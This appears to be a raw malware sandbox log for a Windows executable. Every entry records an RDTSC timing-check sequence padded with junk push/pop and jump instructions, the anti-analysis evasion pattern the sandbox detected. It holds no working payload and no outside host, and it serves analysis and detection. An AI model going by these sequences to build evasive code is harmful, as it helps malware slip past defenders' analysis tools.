Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE3109 second address: DE310F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE310F second address: DE311C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE580B2A1A8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE724D second address: DE725A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007FE580CED976h 0x00000009 pop esi 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE725A second address: DE7266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE7266 second address: DE726D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE726D second address: DE7275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE7275 second address: DE7279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE6526 second address: DE653D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE580B2A1ADh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE653D second address: DE6541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE6541 second address: DE6547 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE66F2 second address: DE66F8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE6864 second address: DE687A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007FE580B2A1AFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE687A second address: DE6884 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE580CED982h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE6E93 second address: DE6E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE6E97 second address: DE6EA7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE580CED976h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE6EA7 second address: DE6EC6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE580B2A1A6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE580B2A1ADh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE6EC6 second address: DE6ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE6ECC second address: DE6EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580B2A1B3h 0x00000009 jmp 00007FE580B2A1B9h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF4AED second address: DF4AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF2FE4 second address: DF2FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF364A second address: DF3659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FE580CED976h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF3659 second address: DF365F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF365F second address: DF3669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE580CED976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF37E5 second address: DF37E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF4203 second address: DF4234 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FE580CED9C1h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE580CED986h 0x00000013 jmp 00007FE580CED97Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF4977 second address: DF497E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF497E second address: DF49A4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE580CED97Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FE580CED984h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DF26E2 second address: DF26EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DFA05C second address: DFA079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580CED97Dh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d ja 00007FE580CED976h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DFA079 second address: DFA083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DFA392 second address: DFA396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E08101 second address: E08106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E08106 second address: E0810C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E0810C second address: E08110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E08110 second address: E08114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E08114 second address: E0811D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E0811D second address: E08125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E08125 second address: E0813C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a ja 00007FE580B2A1A8h 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E07B2B second address: E07B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E09DDF second address: E09DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E09DE4 second address: E09E0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE580CED982h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FE580CED97Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E102FE second address: E10318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FE580B2A1A6h 0x00000010 jmp 00007FE580B2A1AAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E119BF second address: E119F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED97Fh 0x00000007 jmp 00007FE580CED984h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jc 00007FE580CED988h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E119F0 second address: E119F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E119F4 second address: E119F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E14CF3 second address: E14D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580B2A1B8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E14B69 second address: E14B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE580CED97Ch 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jng 00007FE580CED976h 0x00000014 pop edx 0x00000015 jmp 00007FE580CED97Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E1BB7C second address: E1BB90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E1B9E9 second address: E1BA06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jnp 00007FE580CED983h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E1BA06 second address: E1BA14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FE580B2A1ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E21460 second address: E21464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E21754 second address: E2175A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E2175A second address: E21775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FE580CED97Eh 0x0000000a jbe 00007FE580CED976h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E218EE second address: E2190E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE580B2A1AAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FE580B2A1ACh 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E2190E second address: E2192A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE580CED983h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E21CCE second address: E21CEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E21CEB second address: E21CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E21CF1 second address: E21D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FE580B2A1A6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E21E9D second address: E21EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E228B8 second address: E228C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE580B2A1A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E2B197 second address: E2B19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E2B19B second address: E2B1A8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E2B1A8 second address: E2B1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E2B1AF second address: E2B1B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E2B1B6 second address: E2B1C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007FE580CED976h 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E2AFA3 second address: E2AFC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007FE580B2A1A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E38F4D second address: E38F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE580CED976h 0x0000000a jnl 00007FE580CED976h 0x00000010 popad 0x00000011 pop eax 0x00000012 push edx 0x00000013 jp 00007FE580CED97Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E38F68 second address: E38F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE580B2A1B2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E38DA0 second address: E38DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE580CED97Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E38DB6 second address: E38DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E5ACE2 second address: E5ACE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E5A15D second address: E5A161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E5A161 second address: E5A167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E5A167 second address: E5A16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E5A16D second address: E5A177 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE580CED982h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E5A177 second address: E5A17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E5A4C6 second address: E5A4D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E5A76D second address: E5A776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E61D04 second address: E61D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FE580CED976h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E63C1F second address: E63C29 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE580B2A1A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E63C29 second address: E63C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FE580CED976h 0x0000000d jnp 00007FE580CED976h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FE580CED976h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E63C47 second address: E63C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: E63C4B second address: E63C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D84AE6 second address: D84AFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FE580B2A1ACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D84CB8 second address: D84CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D84F50 second address: D84F7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FE580B2A1ACh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE580B2A1ABh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D84F7E second address: D84F84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 535057D second address: 5350581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350581 second address: 5350587 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350587 second address: 535058E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 535058E second address: 53505B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FE580CED97Ah 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE580CED97Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53505B2 second address: 53505C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53505C7 second address: 5350608 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE580CED97Eh 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov bh, ch 0x00000014 mov cx, dx 0x00000017 popad 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE580CED981h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350608 second address: 5350626 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350626 second address: 535062C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
